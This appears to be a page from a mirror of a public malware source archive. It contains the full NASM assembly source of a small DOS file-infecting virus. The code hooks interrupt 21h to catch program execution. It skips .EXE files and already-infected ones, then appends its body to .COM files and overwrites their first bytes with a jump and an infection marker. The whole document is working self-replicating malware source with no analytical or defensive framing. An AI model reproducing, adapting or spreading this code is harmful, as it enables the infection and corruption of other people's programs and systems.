mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
82 lines
1.7 KiB
NASM
82 lines
1.7 KiB
NASM
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VSize = 085h
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Code Segment
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Assume CS:Code
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Org 600h
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Bytes db 0CDh,20h,90h,90h
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Start: mov si, 0100h
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mov bx, offset Int21
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mov cx, 0050h
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mov di, si
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add si, [si+2]
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push di
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movsw
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movsw
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mov es, cx
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cmpsb
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je StartFile
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dec si
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dec di
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rep movsw
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mov es, cx
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xchg ax, bx
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xchg ax, cx
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Loop0: xchg ax, cx
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xchg ax, word ptr es:[di-120h]
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stosw
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jcxz Loop0
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xchg ax, bx
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StartFile:
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push ds
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pop es
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ret
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Int21: cmp ax, 4B00h
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jne End21
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Exec: push ax bx dx ds es
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mov ax, 3D02h
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call DoInt21
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jc EndExec
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cbw ; Zero AH
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cwd ; Zero DX
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mov bx, si ; Move handle to BX
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mov ds, ax ; Set DS and ES to 60h,
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mov es, ax ; the virus data segment
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mov ah, 3Fh ; Read first 4 bytes
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int 69h
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mov al, 4Dh
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scasb ; Check for 4D5Ah or infected file mark
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je Close ; .EXE or already infected
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mov al, 2
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call LSeek ; Seek to the end, SI now contains file size
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mov cl, VSize ; Virus size in CX, prepare to write
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int 69h ; AH is 40h, i.e. Write operation
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mov ax, 0E94Dh ; Virus header in AX
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stosw ; Store it
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xchg ax, si ; Move file size in AX
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stosw ; Complete JMP instruction
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xchg ax, dx ; Zero AX
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call LSeek ; Seek to the beginning
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int 69h ; AH is 40h, write the virus header
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Close: mov ah,3Eh ; Close the file
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int 69h
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EndExec: pop es ds dx bx ax
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End21: jmp dword ptr cs:[69h * 4]
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LSeek: mov ah, 42h ; Seek operation
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cwd ; Zero DX
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DoInt21: xor cx, cx ; External entry for Open, zero cx
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int 69h
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mov cl, 4 ; 4 bytes will be read/written
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xchg ax, si ; Store AX in SI
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mov ax, 4060h ; Prepare AH for Write
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xor di, di ; Zero DI
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ret
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VLen = $ - offset Bytes
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Code EndS
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End
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